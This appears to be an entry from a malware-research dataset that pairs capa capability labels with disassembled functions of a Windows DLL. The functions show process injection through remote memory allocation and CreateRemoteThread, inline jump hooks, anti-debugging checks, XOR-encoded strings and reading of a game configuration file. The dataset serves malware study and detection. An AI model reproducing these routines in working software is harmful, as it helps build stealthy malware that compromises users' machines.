joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100020c3
Capabilities:
Get common file path

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push 0x103
push edi
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x10007d24
push edi
call esi
push 0x10007c5c
push edi
call esi
push 0x10007c1c
push edi
call esi
push 0x10007d1c
push edi
call esi
pop edi
pop esi
ret

Function at 0x100020fe
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
test ebx, ebx
push edi
je 0x10002218
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x10002218
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
cmp ebx, eax
je 0x10002218
push 0x5c
push edi
call dword [sym.imp.MSVCRT.DLL_strrchr]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x10002142
inc esi
jmp 0x10002144
mov esi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, eax
test edi, edi
je 0x10002218
inc edi
push esi
push ebx
mov dword [ebp - 8], edi
call fcn.10001b60
pop ecx
test eax, eax
pop ecx
je 0x10002218
push 0x10007c78
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x10007c88
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
push 0
push 0x3a
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x10002213
push 4
push 0x1000
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x1000220c
push edi
push dword [ebp + 0xc]
push ebx
push esi
call fcn.10005a41
add esp, 0x10
test eax, eax
je 0x1000220c
lea eax, [ebp + 8]
push eax
push 0
push ebx
push dword [ebp + 8]
push 0x2800
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x1000220c
push 0x64
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push edi
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp + 0xc], 0
mov dword [ebp - 4], 1
jne 0x1000220c
push 0x4000
push dword [ebp - 8]
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
jmp 0x1000221a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000234a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x10002391
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov ecx, 0x4550
cmp dword [eax], ecx
jne 0x10002391
mov edx, dword [esp + 8]
mov dword [edx], eax
cmp dword [eax], ecx
jne 0x10002391
mov ecx, dword [esp + 0xc]
add eax, 4
mov dword [edx], eax
add eax, 0x14
mov dword [ecx], eax
cmp word [eax], 0x10b
jne 0x10002391
mov ecx, dword [esp + 0x10]
add eax, 0xe0
push 1
mov dword [ecx], eax
pop eax
ret
xor eax, eax
ret
Function at 0x100025ed
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push dword [ebp + 8]
lea eax, [ebp - 0xa4]
mov dword [ebp - 4], 0x6425
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.MSVCRT.DLL_sprintf]
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0xa4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
leave
ret
Function at 0x10002dc4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 0
push 0x80
push 2
push 0
push 1
lea eax, [ebp - 0x10]
push 0x40000000
push eax
mov dword [ebp - 0x10], 0x72635c2e
mov dword [ebp - 0xc], 0x2e323363
mov dword [ebp - 8], 0x6b6370
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002e3a
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea eax, [ebp - 4]
push 0
push eax
push 0x90
push 0x10007f40
push edi
call esi
lea eax, [ebp - 4]
push 0
push eax
push 4
push 0x10007f3c
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop eax
pop esi
jmp 0x10002e3c
xor eax, eax
pop edi
leave
ret

Function at 0x10002e3f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, 0x90
xor ebx, ebx
push edi
mov esi, 0x10007f40
push ebx
push esi
call sub.MSVCRT.DLL_memset
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [0x10007f3c], ebx
mov dword [ebp - 0x14], 0x72635c2e
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push eax
mov dword [ebp - 0x10], 0x2e323363
mov dword [ebp - 0xc], 0x6b6370
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10002ecb
lea ecx, [ebp - 8]
push ebx
push ecx
push edi
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push eax
call esi
lea eax, [ebp - 8]
push ebx
push eax
push 4
push 0x10007f3c
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop eax
jmp 0x10002ecd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100031d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call fcn.10003b0c
test eax, eax
jne 0x100033ae
lea edi, [ebp - 0xf]
mov byte [ebp - 0x10], 0xe9
stosd dword es:[edi], eax
xor edi, edi
push 5
cmp dword [0x10009068], edi
pop esi
jne 0x10003277
lea eax, [ebp - 8]
push ebx
push eax
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
push pe_nt_image_headers32
push esi
push dword [0x10008fb0]
mov dword [0x10009068], 1
push dword [0x10008e68]
call ebx
lea eax, [ebp - 8]
push eax
push pe_nt_image_headers32
push esi
push dword [0x10008fac]
push dword [0x10008e68]
call ebx
push esi
push dword [0x10008fac]
push 0x10007ee8
call sub.MSVCRT.DLL_memcpy
mov eax, 0x10003ac9
push esi
sub eax, dword [0x10008fac]
mov ebx, 0x10007ee0
sub eax, esi
mov dword [ebp - 0xf], eax
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.MSVCRT.DLL_memcpy
push esi
push ebx
push dword [0x10008fac]
call sub.MSVCRT.DLL_memcpy
add esp, 0x24
pop ebx
mov eax, dword [0x10008fb0]
cmp byte [eax], 0xcc
je 0x100033ae
push edi
lea ecx, [ebp - 1]
push 1
push ecx
push dword [0x10008f6c]
mov byte [ebp - 1], 0x33
push dword [0x10008e68]
call eax
mov eax, dword [0x10008f70]
mov ecx, 0x100033b5
sub ecx, eax
push edi
sub ecx, esi
push esi
mov dword [ebp - 0xf], ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [0x10008e68]
call dword [0x10008fb0]
mov eax, dword [0x10008f74]
mov ecx, 0x100034a4
sub ecx, eax
push edi
sub ecx, esi
push esi
mov dword [ebp - 0xf], ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [0x10008e68]
call dword [0x10008fb0]
mov eax, dword [0x10008f8c]
mov ecx, 0x100035ba
sub ecx, eax
push edi
sub ecx, esi
push esi
mov dword [ebp - 0xf], ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [0x10008e68]
call dword [0x10008fb0]
mov eax, dword [0x10008f7c]
cmp eax, edi
je 0x10003332
mov ecx, 0x10003525
push edi
sub ecx, eax
push esi
sub ecx, esi
mov dword [ebp - 0xf], ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [0x10008e68]
call dword [0x10008fb0]
mov eax, dword [0x10008f90]
cmp eax, edi
je 0x1000335a
mov ecx, 0x100036a4
push edi
sub ecx, eax
push esi
sub ecx, esi
mov dword [ebp - 0xf], ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [0x10008e68]
call dword [0x10008fb0]
mov eax, dword [0x10008f78]
mov byte [ebp - 0x10], 0xe8
cmp eax, edi
je 0x10003386
mov ecx, 0x100034e9
push edi
sub ecx, eax
push esi
sub ecx, esi
mov dword [ebp - 0xf], ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [0x10008e68]
call dword [0x10008fb0]
mov eax, dword [0x10008f84]
cmp eax, edi
je 0x100033ae
mov ecx, 0x10003583
push edi
sub ecx, eax
push esi
sub ecx, esi
mov dword [ebp - 0xf], ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [0x10008e68]
call dword [0x10008fb0]
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x1000377a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x1000906c], 0
push ebx
push esi
push edi
push 1
pop ebx
jne 0x10003808
xor eax, eax
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], 0xe9
mov dword [0x1000906c], ebx
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push 5
pop edi
push edi
push dword [0x10008fc4]
push dword [0x10008e68]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
mov eax, dword [0x10008fc4]
mov cl, byte [eax]
cmp cl, 0xe9
je 0x10003808
cmp cl, 0xcc
je 0x10003808
push edi
push eax
push 0x10007ef8
call sub.MSVCRT.DLL_memcpy
mov eax, 0x10003a12
push edi
sub eax, dword [0x10008fc4]
mov esi, 0x10007ef0
sub eax, edi
mov dword [ebp - 0xb], eax
lea eax, [ebp - 0xc]
push eax
push esi
call sub.MSVCRT.DLL_memcpy
push edi
push esi
push dword [0x10008fc4]
call sub.MSVCRT.DLL_memcpy
add esp, 0x24
mov dword [0x10007f38], ebx
mov dword [0x10007ed8], 3
call fcn.10003e41
cmp dword [0x10007f3c], 0
mov edi, dword [ebp + 8]
je 0x10003846
mov esi, 0x10007e48
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 6
jne 0x10003846
push esi
call fcn.1000373c
pop ecx
mov dword [edi + 0xc], eax
jmp 0x1000384d
and dword [0x10007f3c], 0
push 0x10007ed0
push dword [edi + 0xc]
call fcn.100036bc
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10003863
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf4
push ebx
push esi
lea eax, [ebp - 0x94]
push edi
push eax
push 0x100079e0
mov dword [ebp - 8], 0x76726553
mov dword [ebp - 4], 0x7265
call fcn.10003b3b
lea eax, [ebp - 0x34]
push eax
push 0x100079fc
call fcn.10003b3b
lea eax, [ebp - 0xb4]
push eax
push 0x10007a0c
call fcn.10003b3b
lea eax, [ebp - 0x54]
push eax
push 0x10007a1c
call fcn.10003b3b
add esp, 0x20
lea eax, [ebp - 0x94]
mov esi, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
mov edi, 0x10008e84
push eax
push 0x1f
mov ebx, 0x10009084
push edi
lea eax, [ebp - 0xb4]
push ebx
push eax
lea eax, [ebp - 8]
push eax
call esi
push 0x1c
push edi
push edi
call fcn.10003b1a
add esp, 0xc
lea eax, [ebp - 0x94]
mov edi, 0x10008ea4
push eax
push 0x1f
push edi
lea eax, [ebp - 0x34]
push ebx
push eax
lea eax, [ebp - 8]
push eax
call esi
push 0x1c
push edi
push edi
call fcn.10003b1a
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0xf4]
push 0x1f
push eax
lea eax, [ebp - 0x54]
push ebx
push eax
lea eax, [ebp - 8]
push eax
call esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6b6e696c
push eax
lea eax, [ebp - 0xf4]
push eax
mov dword [ebp - 0xc], 0x2e
call dword [sym.imp.MSVCRT.DLL_strstr]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
test eax, eax
je 0x1000398a
mov eax, dword [eax + 5]
mov dword [ebp - 0x14], 0x726f77
and eax, 0xffffff
mov dword [ebp - 0x10], 0x693277
mov dword [ebp - 0xc], 0x75687a
xor edx, edx
lea ecx, [ebp - 0x14]
cmp eax, dword [ecx]
je 0x10003993
inc edx
add ecx, 4
cmp edx, 3
jl 0x1000397d
or dword [0x10008e80], 0xffffffff
leave
ret
mov dword [0x10008e80], edx
leave
ret
Function at 0x1000399b
Capabilities:
Create thread

Disassembly:
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push esi
push esi
push esi
mov ebx, 0x2800
push 0x10003dd5
push ebx
push esi
mov dword [0x10007ed8], 6
call edi
cmp dword [0x10007f38], esi
je 0x100039e2
cmp dword [0x10008fd8], esi
jne 0x100039e2
push esi
push esi
push esi
push 0x10003e2f
push ebx
push esi
call edi
mov dword [0x10008fd8], eax
pop edi
pop esi
pop ebx
ret

Function at 0x10003b0c
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
ret

Function at 0x10003b3b
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, dword [esp + 0x10]
xor edi, edi
test eax, eax
jle 0x10003b69
mov edx, dword [esp + 0xc]
push ebx
mov ecx, esi
sub edx, esi
mov edi, eax
mov bl, byte [edx + ecx]
xor bl, 0x84
mov byte [ecx], bl
inc ecx
dec eax
jne 0x10003b5c
pop ebx
and byte [edi + esi], 0
pop edi
pop esi
ret

Function at 0x10003d05
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [0x10008fc4]
push esi
push edi
mov cl, byte [eax]
cmp cl, 0xcc
je 0x10003d86
cmp cl, 0xe9
jne 0x10003d2c
mov eax, dword [eax + 1]
cmp eax, dword [0x10007ef1]
jne 0x10003d86
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x400]
push esi
push dword [ebp + 0xc]
push eax
call sub.MSVCRT.DLL_memcpy
push 0x89fc70d2
push 0x879432bc
lea eax, [ebp - 0x400]
push esi
push eax
call fcn.10005cda
add esp, 0x1c
xor eax, eax
xor edi, edi
test esi, esi
jle 0x10003d86
mov ecx, esi
push 0
sub ecx, eax
lea eax, [ebp + eax - 0x400]
push ecx
push eax
mov eax, dword [ebp + 8]
push dword [eax]
call dword [0x10008fc4]
cmp eax, 0xffffffff
je 0x10003d8d
add edi, eax
cmp edi, esi
jl 0x10003d61
push 1
pop eax
pop edi
pop esi
leave
ret
xor eax, eax
jmp 0x10003d89
Function at 0x10003f9a
Capabilities:
Create thread
Encode data using xor
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
xor ebx, ebx
cmp dword [0x10009004], ebx
jne 0x10004183
mov eax, dword [0x10009014]
cmp byte [eax + 0x60], bl
je 0x10004183
cmp byte [eax + 0x80], bl
je 0x10004183
mov ecx, dword [0x10008e70]
cmp ecx, ebx
je 0x10003ff4
push ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [0x10009014]
mov dword [0x10008e70], ebx
xor ecx, ecx
cmp byte [eax + ecx + 0x40], 0x28
je 0x10004005
inc ecx
cmp ecx, 0x1f
jl 0x10003ff6
jmp 0x10004009
mov byte [eax + ecx + 0x40], bl
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push edi
mov edi, dword [0x10009008]
cmp edi, ebx
mov byte [ebp - 0x804], bl
je 0x1000404f
mov dword [ebp - 4], 0xa
cmp byte [edi], bl
je 0x10004044
lea eax, [ebp - 0x804]
push edi
push eax
call esi
lea eax, [ebp - 0x804]
push 0x10007d70
push eax
call esi
add edi, dword [0x10007900]
dec dword [ebp - 4]
jne 0x10004028
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edx, 0x80
cmp eax, edx
jb 0x10004068
push 0x7f
pop eax
xor ecx, ecx
cmp eax, ebx
jle 0x1000407b
xor byte [ebp + ecx - 0x804], 0x99
inc ecx
cmp ecx, eax
jl 0x1000406e
lea eax, [ebp - 0x804]
push edx
push eax
mov eax, dword [0x10009014]
add eax, 0xe6
mov byte [ebp - 0x785], bl
push eax
call sub.MSVCRT.DLL_memcpy
mov edi, dword [0x1000900c]
add esp, 0xc
cmp edi, ebx
mov byte [ebp - 0x804], bl
je 0x100040da
mov dword [ebp - 4], 0x28
cmp byte [edi], bl
je 0x100040cf
lea eax, [ebp - 0x804]
push edi
push eax
call esi
lea eax, [ebp - 0x804]
push 0x10007d70
push eax
call esi
add edi, dword [0x10007900]
dec dword [ebp - 4]
jne 0x100040b3
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, 0x400
pop edi
cmp eax, ecx
pop esi
jb 0x100040f7
mov eax, 0x3ff
xor edx, edx
cmp eax, ebx
jle 0x1000410a
xor byte [ebp + edx - 0x804], 0x99
inc edx
cmp edx, eax
jl 0x100040fd
lea eax, [ebp - 0x804]
push ecx
push eax
mov eax, dword [0x10009014]
add eax, 0x166
mov byte [ebp - 0x405], bl
push eax
call sub.MSVCRT.DLL_memcpy
mov eax, dword [0x10009014]
push 0x1c
add eax, 0xa0
push eax
push dword [0x10009010]
call fcn.10003b1a
add esp, 0x18
push 4
push 0x1000
push 0xc
push ebx
push dword [0x10008e68]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov ecx, dword [0x10009014]
push ebx
push ebx
push eax
push 0x10004660
push 0x2800
push ebx
mov dword [eax], ecx
mov dword [eax + 4], 0x568
mov dword [eax + 8], 0x1c21
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebx
leave
ret
Function at 0x100042e3
Capabilities:
Contain obfuscated stackstrings
Create thread
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
push edi
mov edi, dword [ebp + 8]
push 1
push edi
call esi
test eax, eax
jne 0x100043c1
mov edi, dword [edi + 0x10]
push 1
push edi
call esi
test eax, eax
jne 0x100043c1
mov eax, dword [0x10009014]
push ebx
add eax, 0x40
push 0x1c
push eax
push edi
call fcn.10003b1a
add esp, 0xc
lea eax, [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 8], 0x666e6f43
push eax
lea eax, [ebp - 0x40]
push 0x1f
push eax
lea eax, [ebp - 0x20]
push 0x10009084
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 4], 0x6769
mov dword [ebp - 0x20], 0x61657241
mov dword [ebp - 0x1c], 0x656d614e
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x61675c2e
mov dword [ebp - 0x10], 0x692e656d
mov dword [ebp - 0xc], 0x696e
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
cmp word [ebp - 0x40], 0x3838
je 0x10004398
xor eax, eax
cmp word [ebp + eax - 0x40], 0xf8c7
je 0x10004394
inc eax
cmp eax, 0x1f
jl 0x10004383
jmp 0x10004398
mov byte [ebp + eax - 0x3e], bl
push 0x1c
lea eax, [ebp - 0x40]
push dword [0x10009014]
push eax
call fcn.10003b1a
add esp, 0xc
push ebx
push ebx
push ebx
push 0x10004592
push 0x400
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x10004d08
Capabilities:
Create thread
Terminate thread

Disassembly:
mov eax, dword [0x10008e70]
push ebx
xor ebx, ebx
cmp eax, ebx
mov byte [0x10007e0c], bl
je 0x10004d22
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
cmp dword [0x10009064], ebx
jne 0x10004d74
mov eax, dword [0x10007df4]
cmp byte [eax + 0x20], bl
je 0x10004d74
push 4
push 0x1000
push 0xc
push ebx
push dword [0x10008e68]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov ecx, dword [0x10007df4]
push ebx
push ebx
push eax
push 0x10004660
push 0x2800
push ebx
mov dword [eax], ecx
mov dword [eax + 4], 0xc8
mov dword [eax + 8], 0x1844
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebx
ret

Function at 0x10004e59
Capabilities:
Accept command line arguments

Disassembly:
cmp dword [0x10009078], 0
jne 0x10004ee8
mov eax, dword [0x10007df4]
mov dword [0x10009078], 1
push 0x1c
and byte [eax + 0x80], 0
mov eax, dword [0x10007df4]
add eax, 0x60
push eax
push dword [esp + 0x10]
call fcn.10003b1a
mov eax, dword [esp + 0x10]
mov edx, dword [0x10007df4]
add esp, 0xc
movzx ecx, byte [eax + 0x225d]
mov dword [edx + 0xc0], ecx
mov ecx, dword [0x10007df4]
mov eax, dword [eax + 0x3496]
push 0x2a
mov dword [ecx + 0xc4], eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push eax
call dword [sym.imp.MSVCRT.DLL_strrchr]
pop ecx
test eax, eax
pop ecx
je 0x10004ee3
push 0x1c
inc eax
push dword [0x10007df4]
push eax
call fcn.10003b1a
add esp, 0xc
call fcn.10004d08
ret 8
Function at 0x10005398
Capabilities:
Create thread
Read file on windows
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
xor ebx, ebx
cmp byte [0x10008340], bl
je 0x10005477
cmp byte [0x10008320], bl
je 0x10005477
mov eax, dword [0x10008e70]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_TerminateThread]
cmp eax, ebx
je 0x100053d4
push ebx
push eax
call edi
mov dword [0x10008e70], ebx
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push 0x10007d74
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000542b
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x44]
push pe_nt_image_headers32
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x3a]
push eax
push 0x100083e0
call esi
lea eax, [ebp - 0x30]
push eax
push 0x10008360
call esi
mov eax, dword [0x10009080]
cmp eax, ebx
je 0x10005438
push ebx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
push ebx
push ebx
push 0x1000528d
push 0x2800
push ebx
call esi
mov dword [0x10009080], eax
mov eax, dword [0x1000907c]
cmp eax, ebx
je 0x10005460
push ebx
push eax
call edi
push ebx
push ebx
push ebx
push 0x100051a4
push 0x2800
push ebx
call esi
pop edi
mov dword [0x1000907c], eax
pop esi
pop ebx
leave
ret

Function at 0x10005711
Capabilities:
Create thread

Disassembly:
push esi
call fcn.1000547a
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
test eax, eax
jne 0x1000572e
push 0x64
call esi
call fcn.1000547a
test eax, eax
je 0x10005721
xor eax, eax
push eax
push eax
push eax
push 0x100025da
push 0x400
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x10008e70], eax
call fcn.10005691
push 0xa
call esi
jmp 0x10005749
Function at 0x10005754
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push ebx
push esi
push edi
nop
nop
lea eax, [ebp - 0x184]
push 0x103
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x184]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.DLL_strrchr]
mov esi, eax
push esi
call dword [sym.imp.MSVCRT.DLL__strlwr]
inc esi
push 0x80
lea eax, [ebp - 0x80]
push esi
push eax
call sub.MSVCRT.DLL_memcpy
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.10003b3b
mov al, byte [ebp - 0x7f]
add esp, 0x20
cmp al, byte [ebp - 0x7e]
jne 0x100057e2
cmp al, byte [ebp - 0x7d]
jne 0x100057e2
cmp al, 0xeb
jne 0x100057e2
cmp byte [ebp - 0x80], 0xf3
jne 0x100057e2
push esi
call fcn.100025ed
test eax, eax
pop ecx
je 0x100058be
push edi
push edi
push edi
push 0x10003f2c
jmp 0x100058b2
mov ebx, dword [sym.imp.MSVCRT.DLL__stricmp]
lea eax, [ebp - 0x80]
push 0x10007b38
push eax
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x10005826
push esi
call fcn.100025ed
test eax, eax
pop ecx
je 0x100058be
push edi
push edi
push edi
push 0x100048e7
push 0x2800
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x10009060], eax
jmp 0x100058be
lea eax, [ebp - 0x80]
push 0x10007b40
push eax
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x1000584c
push esi
call fcn.100025ed
test eax, eax
pop ecx
je 0x100058be
push edi
push edi
push edi
push 0x10004c4e
jmp 0x10005810
cmp byte [ebp - 0x80], 0xe6
jne 0x10005873
cmp byte [ebp - 0x7f], 0xeb
jne 0x10005873
cmp byte [ebp - 0x7e], 0xaa
jne 0x10005873
push esi
call fcn.100025ed
test eax, eax
pop ecx
je 0x100058be
push edi
push edi
push edi
push 0x1000507c
jmp 0x100058b2
lea eax, [ebp - 0x80]
push eax
push 0x10007b4c
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x1000588e
push edi
push edi
push edi
push 0x10003b70
jmp 0x100058b2
lea eax, [ebp - 0x80]
push eax
push 0x10007b60
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x100058be
push esi
call fcn.100025ed
test eax, eax
pop ecx
je 0x100058be
push edi
push edi
push edi
push 0x10002d59
push 0x400
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop edi
pop esi
pop ebx
leave
ret